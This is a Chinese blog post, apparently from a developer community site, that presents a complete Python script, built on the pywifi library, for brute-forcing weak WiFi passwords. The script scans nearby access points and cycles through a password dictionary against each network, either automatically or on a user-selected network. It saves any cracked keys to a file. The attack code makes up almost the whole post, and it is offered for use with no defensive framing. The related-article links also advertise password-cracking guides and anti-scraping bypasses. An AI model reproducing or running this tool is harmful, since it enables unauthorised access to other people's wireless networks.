hacker:Python通过对简单的WIFI弱口令实现自动实时破解

简介: hacker:Python通过对简单的WIFI弱口令实现自动实时破解

输出结果

image.png


实现代码


#Python通过对简单的WIFI弱口令实现自动实时破解

import sys

import time

import argparse

from pywifi import *

def get_wifi_interface():

   wifi = PyWiFi()

   if len(wifi.interfaces()) <= 0:

       print ('No wifi inteface found!')

       exit()

   if len(wifi.interfaces()) == 1:

       print ('Wifi interface found: %s'%(wifi.interfaces()[0].name()))

       return wifi.interfaces()[0]

   else:

       print ('%-4s   %s'%('No','interface name'))

       for i,w in enumerate(wifi.interfaces()):

           print ('%-4s   %s'%(i,w.name()))

       while True:

           iface_no = raw_input('Please choose interface No:')

           no = int(iface_no)

           if no>=0 and no < len(wifi.interfaces()):

               return wifi.interfaces()[no]

def get_akm_name(akm_value):

   akm_name_value = {'NONE':0,'UNKNOWN':5,'WPA':1,'WPA2':3,'WPA2PSK':4,'WPAPSK':2}

   akm_names = []

   for a in akm_value:

       for k,v in akm_name_value.items():

           if v == a:

               akm_names.append(k)

               break

   if len(akm_names) == 0 :

       akm_names.append("OPEN")

   return '/'.join(akm_names)

def get_iface_status(status_code):

   status = {'CONNCTED':4,'CONNECTING':3,'DISCONNETED':0,'INACTIVE':2,'SCANNING':1}

   for k,v in status.items():

       if v == status_code:

           return k

   return ''

def scan(face):

   ap_list = {}

   print ("-"*72)

   print ("%-4s %-20s  %-20s   %-6s   %s"%('No','SSID','BSSID','SIGNAL','ENC/AUTH'))

   face.scan()

   time.sleep(5)

   for i,x in enumerate(face.scan_results()):

       ssid = x.ssid

       if len(ssid) == 0:          #hidden ssid

           ssid = '<length: 0>'

       elif ssid == '\\x00':       #hidden ssid

           ssid = '<length: 1>'

       else:  

           if len(x.akm) > 0:       #if len(x.akm)==0 ,the auth is OPEN

               ap_list[x.bssid] = x

       print ("%-4s %-20s| %-20s | %-6s | %s"%(i+1,ssid,x.bssid,x.signal,get_akm_name(x.akm)))

   return face.scan_results(),ap_list

def test(i,face,x,key,stu,ts):

   showID = x.bssid if len(x.ssid)==0 or x.ssid=='\\x00' or len(x.ssid)>len(x.bssid) else x.ssid

   key_index = 0

   while key_index < len(key):

       k = key[key_index]

       x.key = k.strip()

       face.remove_all_network_profiles()

       face.connect(face.add_network_profile(x))

       code = -1

       t1 = time.time()

       now = time.time() - t1

       #check connecting status

       while True:

           time.sleep(0.1)

           code = face.status()

           now = time.time()-t1

           #timeout:try next

           if now>ts:

               break

           stu.write("\r%-6s| %-18s| %5.2fs | %-6s %-15s | %-12s"%(i,showID,now,len(key)-key_index,k.strip(),get_iface_status(code)))

           stu.flush()

           #disconnect:maybe fail or busy

           if code == const.IFACE_DISCONNECTED :

               break

           #connect:test success

           elif code == const.IFACE_CONNECTED:

               face.disconnect()

               stu.write("\r%-6s| %-18s| %5.2fs | %-6s %-15s | %-12s\n"%(i,showID,now,len(key)-key_index,k.strip(),'FOUND!'))

               stu.flush()

               return "%-20s | %s | %15s"%(x.ssid,x.bssid,k)

       #if is busy,then retry:

       if code == const.IFACE_DISCONNECTED and now < 1:

           stu.write("\r%-6s| %-18s| %5.2fs | %-6s %-15s | %-12s"%(i,showID,now,len(key)-key_index,k.strip(),'BUSY!'))

           stu.flush()

           time.sleep(10)

           continue

       #try next key:

       key_index = key_index + 1

   stu.write("\r%-6s| %-18s| %-6s | %-6s %-15s | %-12s\n"%(i,showID,'','','','FAIL!'))

   stu.flush()

   return False

def auto_test(keys,timeout,result_file):

   output = sys.stdout

   iface = get_wifi_interface()  

   #scan for ap list

   ap_list = {}

   SCAN_NUMBER = 5

   for i in range(SCAN_NUMBER):

       scan_results,scan_ap = scan(iface)

       ap_list.update(scan_ap)

   print ('%s\nTEST WIFI LIST:'%('-'*72))

   print ("%-4s %-20s  %-20s   %-6s   %s"%('No','SSID','BSSID','SIGNAL','ENC/AUTH'))

   item_index = 1

   for k,x in ap_list.items():

       print ("%-4s %-20s| %-20s | %-6s | %s"%(item_index,x.ssid,x.bssid,x.signal,get_akm_name(x.akm)))

       item_index = item_index + 1

   print ('TOTAL TEST WIFI:%s' %len(ap_list))

   #test

   item_index = 1

   print ("%s\n%-6s| %-18s|  %-4s  | %-6s %-15s | %-12s\n%s"%("-"*72,"WIFINO","SSID OR BSSID","TIME","KEYNUM","KEY","STATUS","="*72))

   for k,v in ap_list.items():

       res = test(item_index,iface,v,keys,output,timeout)

       if res:

           with open(result_file,"a") as f:

               f.write(res)

       item_index = item_index + 1

def manual_test(keys,timeout,result_file):

   output = sys.stdout

   iface = get_wifi_interface()

   #choose one wifi to test

   wifi_no = ''

   scanres = None

   while True:

       #scan for ap list

       scanres,ap_list = scan(iface)

       wifi_no = raw_input('Please choose test No:')

       if len(wifi_no.strip()) == 0:   #if no choice and press enter,refresh ap list

           continue

       else:

           break

   numbers = wifi_no.strip().split(',')

   print ("%s\n%-6s| %-18s|  %-4s  | %-6s %-15s | %-12s\n%s"%("-"*72,"WIFINO","SSID OR BSSID","TIME","KEYNUM","KEY","STATUS","="*72))

   for no in numbers:

       if int(no)>=1 and int(no)<= len(scanres):

           res = test(int(no),iface,scanres[int(no)-1],keys,output,timeout)

           if res:

               with open(result_file,"a") as f:

                   f.write(res)

def main():

   parse = argparse.ArgumentParser()

   parse.add_argument('-m', '--mode', default='a', choices=['a','m'],help='test mode:a(auto) or m(manual)')

   parse.add_argument('-k', '--key_file', default='top10.txt', help='test password dict file,default is top10.txt')

   args = parse.parse_args()

   timeout = 30

   result_file = 'result.txt'

   keys = ''

   with open(args.key_file,"r") as f:

       keys = f.readlines()

   print ("Total KEYS %s"%(len(keys)))

   if args.mode == 'a':

       auto_test(keys,timeout,result_file)

   else:

       manual_test(keys,timeout,result_file)

   print ('\nDone...')

if __name__ == '__main__':

   main()


相关文章
|
4月前
|
存储 Shell 数据安全/隐私保护
Python 密码破解指南:0~4
Python 密码破解指南:0~4
214 0
Python 密码破解指南:0~4
|
4月前
|
存储 算法 安全
Python 密码破解指南:20~24
Python 密码破解指南:20~24
168 0
|
4月前
|
存储 Shell 数据安全/隐私保护
Python 密码破解指南:15~19
Python 密码破解指南:15~19
235 0
|
4月前
|
存储 Shell 数据安全/隐私保护
Python 密码破解指南:10~14
Python 密码破解指南:10~14
202 0
|
4月前
|
存储 Shell 数据安全/隐私保护
Python 密码破解指南:5~9
Python 密码破解指南:5~9
134 0
|
4月前
|
Android开发 Python
Python封装ADB获取Android设备wifi地址的方法
Python封装ADB获取Android设备wifi地址的方法
136 0
|
Ubuntu Linux 网络安全
使用Kali Linux虚拟机破解WiFi密码的一波三折及详细操作步骤
使用Kali Linux虚拟机破解WiFi密码的一波三折及详细操作步骤
2505 0
使用Kali Linux虚拟机破解WiFi密码的一波三折及详细操作步骤
|
1月前
|
数据采集 JSON 数据处理
基于Python的B站(哔哩哔哩)视频评论采集,可破解反爬手段,想爬几条爬几条
本文介绍了一个基于Python的B站(哔哩哔哩)视频评论采集工具,能够通过输入视频的av号、BV号或链接,并使用特定的cookie和请求头信息来绕过反爬手段,实现大规模的评论数据采集,并支持将数据解析并保存为CSV格式。
|
10月前
|
数据安全/隐私保护
破解WIFI密码之密码字典
破解WIFI密码之密码字典
432 1
|
安全 搜索推荐 数据安全/隐私保护
Python基础之破解加密压缩包
Python基础之破解加密压缩包
222 0